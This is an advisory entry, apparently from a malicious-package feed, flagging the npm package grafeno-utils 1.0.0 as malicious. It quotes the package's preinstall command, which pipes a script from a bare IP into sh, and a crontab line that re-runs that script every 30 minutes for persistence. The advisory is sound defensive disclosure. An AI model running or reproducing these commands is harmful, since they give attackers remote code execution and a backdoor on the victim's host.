grafeno-utils
Affected
- Versions:
1.0.0
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: None
Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.
Malicious code in grafeno-utils (npm)
---
_-= Per source details. Do not edit below this line.=-_
Source: amazon-inspector (5beb233fe40ca775519f2262a691a45445a9bda31c970d12aca3c584be4d32ad)
The package's package.json preinstall lifecycle hook uses child_process to run curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and piping it to /bin/bash at npm install time. The same preinstall additionally appends a crontab entry */30 * * * * curl -s 216.126.236.46/x.sh|sh, re-fetching and re-executing that remote script every 30 minutes and providing persistent remote code execution on the installer's host beyond the initial install. The destination is a hardcoded bare IPv4 address with no TLS and no integrity check; the fetched content is unpinned and attacker-mutable. This satisfies both install-time remote code execution and a backdoor persistence mechanism against the installer.
Not rated by the source.
1.0.0None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: OpenSSF Malicious Packages · Apache-2.0